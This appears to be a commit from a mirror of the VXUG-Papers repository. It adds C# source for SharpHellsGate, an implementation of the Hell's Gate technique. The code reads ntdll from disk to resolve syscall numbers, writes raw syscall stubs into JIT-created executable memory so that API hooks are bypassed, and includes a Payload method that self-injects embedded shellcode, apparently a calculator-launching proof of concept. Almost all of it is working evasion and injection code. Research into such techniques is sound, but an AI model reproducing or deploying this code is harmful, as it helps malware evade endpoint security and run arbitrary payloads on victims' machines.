mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-17 00:09:29 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,278 @@
|
||||
using System;
|
||||
using SharpHellsGate.Win32;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace SharpHellsGate {
|
||||
|
||||
/// <summary>
|
||||
/// Main implementation of the Hell's Gate technique.
|
||||
/// Responsible for generating a RWX memory region, inject and execute system call stubs.
|
||||
/// </summary>
|
||||
public class HellsGate {
|
||||
|
||||
/// <summary>
|
||||
/// Used to check if the RWX memory region was generated.
|
||||
/// </summary>
|
||||
private bool IsGateReady { get; set; } = false;
|
||||
|
||||
/// <summary>
|
||||
/// Used as for mutual exclusion while injecting and execution of the system call stub in memory.
|
||||
/// </summary>
|
||||
private object Mutant { get; set; } = new object();
|
||||
|
||||
/// <summary>
|
||||
///
|
||||
/// </summary>
|
||||
private Dictionary<UInt64, Util.APITableEntry> APITable { get; set; } = new Dictionary<ulong, Util.APITableEntry>() { };
|
||||
|
||||
/// <summary>
|
||||
/// Address of the managed method that was JIT'ed.
|
||||
/// </summary>
|
||||
private IntPtr MangedMethodAddress { get; set; } = IntPtr.Zero;
|
||||
|
||||
/// <summary>
|
||||
/// Address of the RWX memory region after JIT compiling the managed method.
|
||||
/// </summary>
|
||||
private IntPtr UnmanagedMethodAddress { get; set; } = IntPtr.Zero;
|
||||
|
||||
/// <summary>
|
||||
/// This function will be JIT at runtime to create RWX memory region.
|
||||
/// </summary>
|
||||
//// <returns>Gate returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
private static UInt32 Gate() {
|
||||
return new UInt32();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Inject in memory a basic system call stub and return a delegate for execution via un-managed code.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The desired delegate Type.</typeparam>
|
||||
/// <param name="syscall">The system call to execute.</param>
|
||||
/// <returns>A delegate of to execute the system call.</returns>
|
||||
private T NtInvocation<T>(Int16 syscall) where T: Delegate {
|
||||
if (!this.IsGateReady || this.UnmanagedMethodAddress == IntPtr.Zero) {
|
||||
Util.LogError("Unable to inject system call stub");
|
||||
return default;
|
||||
}
|
||||
|
||||
Span<byte> stub = stackalloc byte[24] {
|
||||
0x4c, 0x8b, 0xd1, // mov r10, rcx
|
||||
0xb8, (byte)syscall, (byte)(syscall >> 8), 0x00, 0x00, // mov eax, <syscall
|
||||
0xf6, 0x04, 0x25, 0x08, 0x03, 0xfe, 0x7f, 0x01, // test byte ptr [SharedUserData+0x308],1
|
||||
0x75, 0x03, // jne ntdll!<function>+0x15
|
||||
0x0f, 0x05, // syscall
|
||||
0xc3, // ret
|
||||
0xcd, 0x2e, // int 2Eh
|
||||
0xc3 // ret
|
||||
};
|
||||
|
||||
Marshal.Copy(stub.ToArray(), 0, this.UnmanagedMethodAddress, stub.Length);
|
||||
return Marshal.GetDelegateForFunctionPointer<T>(this.UnmanagedMethodAddress);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Managed wrapper around the NtAllocateVirtualMemory native Windows function
|
||||
/// </summary>
|
||||
/// <param name="ProcessHandle">A handle for the process for which the mapping should be done.</param>
|
||||
/// <param name="BaseAddress">A pointer to a variable that will receive the base address of the allocated region of pages.</param>
|
||||
/// <param name="ZeroBits">The number of high-order address bits that must be zero in the base address of the section view.</param>
|
||||
/// <param name="RegionSize">A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</param>
|
||||
/// <param name="AllocationType">A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</param>
|
||||
/// <param name="Protect">A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</param>
|
||||
/// <returns>NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) {
|
||||
lock (this.Mutant) {
|
||||
Int16 syscall = this.APITable[Util.NtAllocateVirtualMemoryHash].Syscall;
|
||||
if (syscall == 0x0000)
|
||||
return Macros.STATUS_UNSUCCESSFUL;
|
||||
|
||||
DFunctions.NtAllocateVirtualMemory Func = NtInvocation<DFunctions.NtAllocateVirtualMemory>(syscall);
|
||||
return Func(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Managed wrapper around the NtProtectVirtualMemory native Windows function.
|
||||
/// </summary>
|
||||
/// <param name="ProcessHandle">Handle to Process Object opened with PROCESS_VM_OPERATION access.</param>
|
||||
/// <param name="BaseAddress">Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address.</param>
|
||||
/// <param name="NumberOfBytesToProtect">Pointer to size of region to protect. On output will be round to page size (4KB).</param>
|
||||
/// <param name="NewAccessProtection">One or some of PAGE_... attributes.</param>
|
||||
/// <param name="OldAccessProtection">Receive previous protection.</param>
|
||||
/// <returns>NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr NumberOfBytesToProtect, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection) {
|
||||
lock (this.Mutant) {
|
||||
Int16 syscall = this.APITable[Util.NtProtectVirtualMemoryHash].Syscall;
|
||||
if (syscall == 0x0000)
|
||||
return Macros.STATUS_UNSUCCESSFUL;
|
||||
|
||||
DFunctions.NtProtectVirtualMemory Func = NtInvocation<DFunctions.NtProtectVirtualMemory>(syscall);
|
||||
return Func(ProcessHandle, ref BaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, out OldAccessProtection);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Managed wrapper around the NtCreateThreadEx native Windows function.
|
||||
/// </summary>
|
||||
/// <param name="hThread">Caller supplied storage for the resulting handle.</param>
|
||||
/// <param name="DesiredAccess">Specifies the allowed or desired access to the thread.</param>
|
||||
/// <param name="ObjectAttributes">Initialized attributes for the object.</param>
|
||||
/// <param name="ProcessHandle">Handle to the threads parent process.</param>
|
||||
/// <param name="lpStartAddress">Address of the function to execute.</param>
|
||||
/// <param name="lpParameter">Parameters to pass to the function.</param>
|
||||
/// <param name="CreateSuspended">Whether the thread will be in suspended mode and has to be resumed later.</param>
|
||||
/// <param name="StackZeroBits"></param>
|
||||
/// <param name="SizeOfStackCommit">Initial stack memory to commit.</param>
|
||||
/// <param name="SizeOfStackReserve">Initial stack memory to reserve.</param>
|
||||
/// <param name="lpBytesBuffer"></param>
|
||||
/// <returns>NtCreateThreadEx returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer) {
|
||||
lock (this.Mutant) {
|
||||
Int16 syscall = this.APITable[Util.NtCreateThreadExHash].Syscall;
|
||||
if (syscall == 0x0000)
|
||||
return Macros.STATUS_UNSUCCESSFUL;
|
||||
|
||||
DFunctions.NtCreateThreadEx Func = NtInvocation<DFunctions.NtCreateThreadEx>(syscall);
|
||||
return Func(ref hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Managed wrapper around the NtWaitForSingleObject native Windows function.
|
||||
/// </summary>
|
||||
/// <param name="ObjectHandle">Open handle to a alertable executive object.</param>
|
||||
/// <param name="Alertable">If set, calling thread is signaled, so all queued APC routines are executed.</param>
|
||||
/// <param name="TimeOuts">Time-out interval, in microseconds. NULL means infinite.</param>
|
||||
/// <returns>NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code.</returns>
|
||||
private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, ref Structures.LARGE_INTEGER TimeOuts) {
|
||||
lock (this.Mutant) {
|
||||
Int16 syscall = this.APITable[Util.NtWaitForSingleObjectHash].Syscall;
|
||||
if (syscall == 0x0000)
|
||||
return Macros.STATUS_UNSUCCESSFUL;
|
||||
|
||||
DFunctions.NtWaitForSingleObject Func = NtInvocation<DFunctions.NtWaitForSingleObject>(syscall);
|
||||
return Func(ObjectHandle, Alertable, ref TimeOuts);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// .ctor
|
||||
/// </summary>
|
||||
/// <param name="Table">The API table that will be used by the multiple function wrapers.</param>
|
||||
public HellsGate(Dictionary<UInt64, Util.APITableEntry> Table) {
|
||||
this.APITable = Table;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// JIT a static method to generate RWX memory segment.
|
||||
/// </summary>
|
||||
/// <returns>Whether the memory segment was successfully generated.</returns>
|
||||
public bool GenerateRWXMemorySegment() {
|
||||
// Find and JIT the method
|
||||
MethodInfo method = typeof(HellsGate).GetMethod(nameof(Gate), BindingFlags.Static | BindingFlags.NonPublic);
|
||||
if (method == null) {
|
||||
Util.LogError("Unable to find the method");
|
||||
return false;
|
||||
}
|
||||
RuntimeHelpers.PrepareMethod(method.MethodHandle);
|
||||
|
||||
// Get the address of the function and check if first opcode == JMP
|
||||
IntPtr pMethod = method.MethodHandle.GetFunctionPointer();
|
||||
if (Marshal.ReadByte(pMethod) != 0xe9) {
|
||||
Util.LogError("Method was not JIT'ed or invalid stub");
|
||||
return false;
|
||||
}
|
||||
Util.LogInfo($"Managed method address: 0x{pMethod:x16}");
|
||||
|
||||
// Get address of jited method and stack alignment
|
||||
Int32 offset = Marshal.ReadInt32(pMethod, 1);
|
||||
UInt64 addr = (UInt64)pMethod + (UInt64)offset;
|
||||
while (addr % 16 != 0)
|
||||
addr++;
|
||||
Util.LogInfo($"Unmanaged method address: 0x{addr:x16}\n");
|
||||
|
||||
this.MangedMethodAddress = method.MethodHandle.GetFunctionPointer();
|
||||
this.UnmanagedMethodAddress = (IntPtr)addr;
|
||||
this.IsGateReady = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Payload example. In this case this is a basic shellcode self-injection.
|
||||
/// </summary>
|
||||
public void Payload() {
|
||||
if (!this.IsGateReady) {
|
||||
if (!this.GenerateRWXMemorySegment()) {
|
||||
Util.LogError("Unable to generate RX memory segment");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
byte[] shellcode = new byte[273] {
|
||||
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
|
||||
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
|
||||
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
|
||||
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
|
||||
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
|
||||
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
|
||||
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
|
||||
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
|
||||
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
|
||||
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
|
||||
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
|
||||
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
|
||||
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
|
||||
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
|
||||
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
|
||||
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
|
||||
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
|
||||
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
|
||||
0x63,0x00,0xc3
|
||||
};
|
||||
Util.LogInfo($"Shellcode size: {shellcode.Length} bytes");
|
||||
|
||||
// Allocate Memory
|
||||
IntPtr pBaseAddres = IntPtr.Zero;
|
||||
IntPtr Region = (IntPtr)shellcode.Length;
|
||||
UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE);
|
||||
if (!Macros.NT_SUCCESS(ntstatus)) {
|
||||
Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})");
|
||||
return;
|
||||
}
|
||||
Util.LogInfo($"Page address: 0x{pBaseAddres:x16}");
|
||||
|
||||
// Copy Memory
|
||||
Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length);
|
||||
Array.Clear(shellcode, 0, shellcode.Length);
|
||||
|
||||
// Change memory protection
|
||||
UInt32 OldAccessProtection = 0;
|
||||
ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection);
|
||||
if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) {
|
||||
Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})");
|
||||
return;
|
||||
}
|
||||
|
||||
IntPtr hThread = IntPtr.Zero;
|
||||
ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
|
||||
if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) {
|
||||
Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})");
|
||||
return;
|
||||
}
|
||||
Util.LogInfo($"Thread handle: 0x{hThread:x16}\n");
|
||||
|
||||
// Wait for one second
|
||||
Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER();
|
||||
TimeOut.QuadPart = -10000000;
|
||||
ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut);
|
||||
if (ntstatus != 0x00) {
|
||||
Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace SharpHellsGate.Module {
|
||||
/// <summary>
|
||||
/// Used to manipulate and extract information from a memory stream.
|
||||
/// In this case the memory stream is the NTDLL module.
|
||||
/// </summary>
|
||||
public class MemoryUtil : IDisposable {
|
||||
|
||||
/// <summary>
|
||||
/// The memory stream representation of the NTDLL module.
|
||||
/// </summary>
|
||||
protected Stream ModuleStream { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Dispose the memory stream when no longer needed.
|
||||
/// </summary>
|
||||
~MemoryUtil() => Dispose();
|
||||
|
||||
/// <summary>
|
||||
/// Dispose the memory stream when no longer needed.
|
||||
/// </summary>
|
||||
public void Dispose() {
|
||||
this.ModuleStream.Dispose();
|
||||
this.ModuleStream.Close();
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extract a structure from the memory stream.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The Type of the structure to extract.</typeparam>
|
||||
/// <param name="offset">The offset in the memory stream where the structure is located.</param>
|
||||
/// <returns>The structure populated or the default structure.</returns>
|
||||
protected T GetStructureFromBlob<T>(Int64 offset) where T : struct {
|
||||
Span<byte> bytes = this.GetStructureBytesFromOffset<T>(offset);
|
||||
if (Marshal.SizeOf<T>() != bytes.Length)
|
||||
return default;
|
||||
|
||||
IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf<T>());
|
||||
Marshal.Copy(bytes.ToArray(), 0, ptr, bytes.Length);
|
||||
T s = Marshal.PtrToStructure<T>(ptr);
|
||||
|
||||
Marshal.FreeHGlobal(ptr);
|
||||
return s;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extract the code from a native Windows function.
|
||||
/// </summary>
|
||||
/// <param name="offset">The location of the function in the memory stream.</param>
|
||||
/// <returns>The 24 bytes representing the code of the function.</returns>
|
||||
protected Span<byte> GetFunctionOpCode(Int64 offset) {
|
||||
Span<byte> s = stackalloc byte[24];
|
||||
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
|
||||
this.ModuleStream.Read(s);
|
||||
return s.ToArray();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extract a DWORD value from the memory stream.
|
||||
/// </summary>
|
||||
/// <param name="offset">The location of the DWORD in the memory stream.</param>
|
||||
/// <returns>The value of the DWORD.</returns>
|
||||
protected UInt32 ReadPtr32(Int64 offset) {
|
||||
Span<byte> s = stackalloc byte[4];
|
||||
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
|
||||
this.ModuleStream.Read(s);
|
||||
return BitConverter.ToUInt32(s);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extract a QWORD value from the memory stream.
|
||||
/// </summary>
|
||||
/// <param name="offset">The location of the QWORD in the memory stream.</param>
|
||||
/// <returns>The value of the QWORD.</returns>
|
||||
protected UInt64 ReadPtr64(Int64 offset) {
|
||||
Span<byte> s = stackalloc byte[8];
|
||||
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
|
||||
this.ModuleStream.Read(s);
|
||||
return BitConverter.ToUInt64(s);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extract a WORD value from the memory stream.
|
||||
/// </summary>
|
||||
/// <param name="offset">The location of the WORD in the memory stream.</param>
|
||||
/// <returns>The value of the WORD.</returns>
|
||||
protected UInt16 ReadUShort(Int64 offset) {
|
||||
Span<byte> s = stackalloc byte[2];
|
||||
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
|
||||
this.ModuleStream.Read(s);
|
||||
return BitConverter.ToUInt16(s);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extract an ASCII string from the memory stream.
|
||||
/// </summary>
|
||||
/// <param name="offset">The location of the ASCII string in the memory stream.</param>
|
||||
/// <returns>The ASCII string.</returns>
|
||||
protected string ReadAscii(Int64 offset) {
|
||||
int length = 0;
|
||||
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
|
||||
while (this.ModuleStream.ReadByte() != 0x00)
|
||||
length++;
|
||||
|
||||
Span<byte> s = length <= 1024 ? stackalloc byte[length] : new byte[length];
|
||||
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
|
||||
this.ModuleStream.Read(s);
|
||||
return Encoding.ASCII.GetString(s);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extract the byte representation of a structure from the memory stream.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The Type of the structure to extract from the memory stream.</typeparam>
|
||||
/// <param name="offset">The location of the structure in the memory stream.</param>
|
||||
/// <returns>The structure as byte span.</returns>
|
||||
protected Span<byte> GetStructureBytesFromOffset<T>(Int64 offset) where T : struct {
|
||||
Span<byte> s = stackalloc byte[Marshal.SizeOf<T>()];
|
||||
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
|
||||
this.ModuleStream.Read(s);
|
||||
return s.ToArray();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get a specific amount of bytes at a specific location in the memory stream.
|
||||
/// </summary>
|
||||
/// <param name="offset">The location of the bytes to extract from the memory stream.</param>
|
||||
/// <param name="size">The number of bytes to extract from the memory stream at a give location.</param>
|
||||
/// <returns>The desired bytes as a byte span.</returns>
|
||||
protected Span<byte> GetBytesFromOffset(Int64 offset, int size) {
|
||||
Span<byte> s = size >= 1024 ? new byte[size] : stackalloc byte[size];
|
||||
this.ModuleStream.Seek(offset, SeekOrigin.Begin);
|
||||
this.ModuleStream.Read(s);
|
||||
return s.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,328 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using SharpHellsGate.Win32;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Linq;
|
||||
|
||||
namespace SharpHellsGate.Module {
|
||||
|
||||
/// <summary>
|
||||
/// Wrapper around the NTDLL module.
|
||||
/// Used to extract structures and find system calls.
|
||||
/// </summary>
|
||||
public class SystemModule : MemoryUtil {
|
||||
|
||||
/// <summary>
|
||||
/// IMAGE_DOS_HEADER structure of the NTDLL module.
|
||||
/// </summary>
|
||||
public Structures.IMAGE_DOS_HEADER ModuleDOSHeader { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// IMAGE_NT_HEADERS64 structure of the NTDLL module.
|
||||
/// </summary>
|
||||
public Structures.IMAGE_NT_HEADERS64 ModuleNTHeaders { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// IMAGE_SECTION_HEADER structure from the NTDLL module.
|
||||
/// </summary>
|
||||
public List<Structures.IMAGE_SECTION_HEADER> ModuleSectionHeaders { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// IMAGE_EXPORT_DIRECTORY structure from the NTDLL module.
|
||||
/// </summary>
|
||||
public Structures.IMAGE_EXPORT_DIRECTORY ModuleExportDirectory { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Location in the memory stream of the IMAGE_EXPORT_DIRECTORY structure.
|
||||
/// </summary>
|
||||
public Int64 ModuleExportDirectoryOffset { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Location in the memory stream of the exported functions' name.
|
||||
/// </summary>
|
||||
public Int64 ModuleExportDirectoryAddressNamesOffset { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Location in the memory stream of the exported functions' address.
|
||||
/// </summary>
|
||||
public Int64 ModuleExportDirectoryAddressFunctionsOffset { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Location in the memory stream of the exported functions' ordinal.
|
||||
/// </summary>
|
||||
public Int64 ModuleExportDirectoryAddressNameOrdinalesOffset { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Name of the module. Will be NTDLL.
|
||||
/// </summary>
|
||||
public string ModuleName { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Path of the module. Will be %WINDIR%\System32\ntdll.dll
|
||||
/// </summary>
|
||||
public string ModulePath { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// .ctor
|
||||
/// </summary>
|
||||
/// <param name="name">Name of the module</param>
|
||||
public SystemModule(string name) : base() {
|
||||
this.ModuleName = name;
|
||||
this.ModulePath = $"{Environment.SystemDirectory}\\{name}";
|
||||
this.ModuleSectionHeaders = new List<Structures.IMAGE_SECTION_HEADER>() { };
|
||||
|
||||
this.LoadModule();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Load the module into a memory stream.
|
||||
/// </summary>
|
||||
/// <returns>Whether the loading process was a success.</returns>
|
||||
public bool LoadModule() {
|
||||
if (string.IsNullOrEmpty(this.ModuleName)) {
|
||||
Util.LogError("Module name not provided");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!File.Exists(this.ModulePath)) {
|
||||
Util.LogError($"Unable to find module: {this.ModuleName}");
|
||||
return false;
|
||||
}
|
||||
|
||||
ReadOnlySpan<byte> ModuleBlob = File.ReadAllBytes(this.ModulePath);
|
||||
if (ModuleBlob.Length == 0x00) {
|
||||
Util.LogError($"Empty module content: {this.ModuleName}");
|
||||
return false;
|
||||
}
|
||||
|
||||
base.ModuleStream = new MemoryStream(ModuleBlob.ToArray());
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Reload all structures.
|
||||
/// </summary>
|
||||
/// <returns>Whether all structures were successfully reloaded.</returns>
|
||||
public bool LoadAllStructures() {
|
||||
if (this.GetModuleDOSHeader(true).Equals(default(Structures.IMAGE_DOS_HEADER)))
|
||||
return false;
|
||||
|
||||
if (this.GetModuleNTHeaders(true).Equals(default(Structures.IMAGE_NT_HEADERS64)))
|
||||
return false;
|
||||
|
||||
if (this.GetModuleSectionHeaders(true).Count != this.ModuleNTHeaders.FileHeader.NumberOfSections)
|
||||
return false;
|
||||
|
||||
if (this.GetModuleExportDirectory(true).Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get the _IMAGE_DOS_HEADERstructure from the module.
|
||||
/// </summary>
|
||||
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
|
||||
/// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>
|
||||
public Structures.IMAGE_DOS_HEADER GetModuleDOSHeader(bool ReloadCache = false) {
|
||||
if (!this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)) && !ReloadCache)
|
||||
return this.ModuleDOSHeader;
|
||||
|
||||
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
|
||||
Util.LogError("Module not loaded");
|
||||
return default;
|
||||
}
|
||||
|
||||
this.ModuleDOSHeader = base.GetStructureFromBlob<Structures.IMAGE_DOS_HEADER>(0);
|
||||
if (this.ModuleDOSHeader.e_magic != Macros.IMAGE_DOS_SIGNATURE) {
|
||||
Util.LogError("Invalid DOS header signature");
|
||||
return default;
|
||||
}
|
||||
|
||||
return this.ModuleDOSHeader;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get the IMAGE_NT_HEADERS64 structure from the module.
|
||||
/// </summary>
|
||||
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
|
||||
/// <returns>The IMAGE_NT_HEADERS64 structure of the module.</returns>
|
||||
public Structures.IMAGE_NT_HEADERS64 GetModuleNTHeaders(bool ReloadCache = false) {
|
||||
if (!this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) && !ReloadCache)
|
||||
return this.ModuleNTHeaders;
|
||||
|
||||
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
|
||||
Util.LogError("Module not loaded");
|
||||
return default;
|
||||
}
|
||||
|
||||
if (this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)))
|
||||
this.GetModuleDOSHeader();
|
||||
|
||||
this.ModuleNTHeaders = base.GetStructureFromBlob<Structures.IMAGE_NT_HEADERS64>(this.ModuleDOSHeader.e_lfanew);
|
||||
if (this.ModuleNTHeaders.Signature != Macros.IMAGE_NT_SIGNATURE) {
|
||||
Util.LogError("Invalid NT headers signature");
|
||||
return default;
|
||||
}
|
||||
|
||||
return this.ModuleNTHeaders;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get list of _IMAGE_SECTION_HEADER structures from the module.
|
||||
/// </summary>
|
||||
/// <param name="ReloadCache">Whether the data has to re-processed if not already cached.</param>
|
||||
/// <returns>The list of _IMAGE_SECTION_HEADER structures.</returns>
|
||||
public List<Structures.IMAGE_SECTION_HEADER> GetModuleSectionHeaders(bool ReloadCache = false) {
|
||||
if (this.ModuleSectionHeaders.Count == this.ModuleNTHeaders.FileHeader.NumberOfSections && !ReloadCache)
|
||||
return this.ModuleSectionHeaders;
|
||||
|
||||
if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) {
|
||||
Util.LogError("Module not loaded");
|
||||
return default;
|
||||
}
|
||||
|
||||
if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) || this.ModuleNTHeaders.FileHeader.Equals(default(Structures.IMAGE_FILE_HEADER)))
|
||||
this.GetModuleNTHeaders();
|
||||
|
||||
for (Int16 cx = 0; cx < this.ModuleNTHeaders.FileHeader.NumberOfSections; cx++) {
|
||||
Int64 iSectionOffset = this.GetModuleSectionOffset(cx);
|
||||
|
||||
Structures.IMAGE_SECTION_HEADER ImageSection = base.GetStructureFromBlob<Structures.IMAGE_SECTION_HEADER>(iSectionOffset);
|
||||
if (!ImageSection.Equals(default(Structures.IMAGE_SECTION_HEADER)))
|
||||
this.ModuleSectionHeaders.Add(ImageSection);
|
||||
}
|
||||
|
||||
return this.ModuleSectionHeaders;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
